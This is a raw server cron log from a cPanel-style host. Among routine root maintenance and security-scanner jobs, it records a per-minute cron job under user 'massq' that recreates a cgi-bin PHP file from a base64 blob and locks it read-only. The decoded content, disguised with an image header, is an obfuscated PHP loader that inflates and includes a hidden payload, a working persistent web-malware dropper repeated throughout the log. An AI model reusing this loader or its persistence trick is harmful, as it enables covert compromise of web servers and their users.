Sep  2 07:44:01 server CROND[4191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:44:01 server CROND[4190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:45:01 server CROND[4580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:45:01 server CROND[4582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:45:01 server CROND[4583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:45:01 server CROND[4584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:45:01 server CROND[4586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:45:01 server CROND[4585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:45:01 server CROND[4587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:46:01 server CROND[5430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:46:01 server CROND[5431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:46:01 server CROND[5432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:47:01 server CROND[5823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:47:01 server CROND[5825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:47:01 server CROND[5824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:48:01 server CROND[6291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:48:01 server CROND[6292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:48:01 server CROND[6293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:49:01 server CROND[6668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:49:01 server CROND[6669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:49:01 server CROND[6670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:50:01 server CROND[7048]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:50:01 server CROND[7051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:50:01 server CROND[7053]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:50:01 server CROND[7054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:50:01 server CROND[7055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:50:01 server CROND[7060]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:50:01 server CROND[7056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:50:01 server CROND[7059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:50:01 server CROND[7058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:51:01 server CROND[7902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:51:01 server CROND[7903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:51:01 server CROND[7904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:52:01 server CROND[8270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:52:01 server CROND[8271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:52:01 server CROND[8272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:53:01 server CROND[8638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:53:01 server CROND[8639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:53:01 server CROND[8640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:54:01 server CROND[9109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:54:01 server CROND[9110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:54:01 server CROND[9111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:55:01 server CROND[9490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:55:01 server CROND[9491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:55:01 server CROND[9493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:55:01 server CROND[9492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:55:01 server CROND[9495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:55:01 server CROND[9494]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:55:01 server CROND[9496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:56:01 server CROND[10373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:56:01 server CROND[10374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
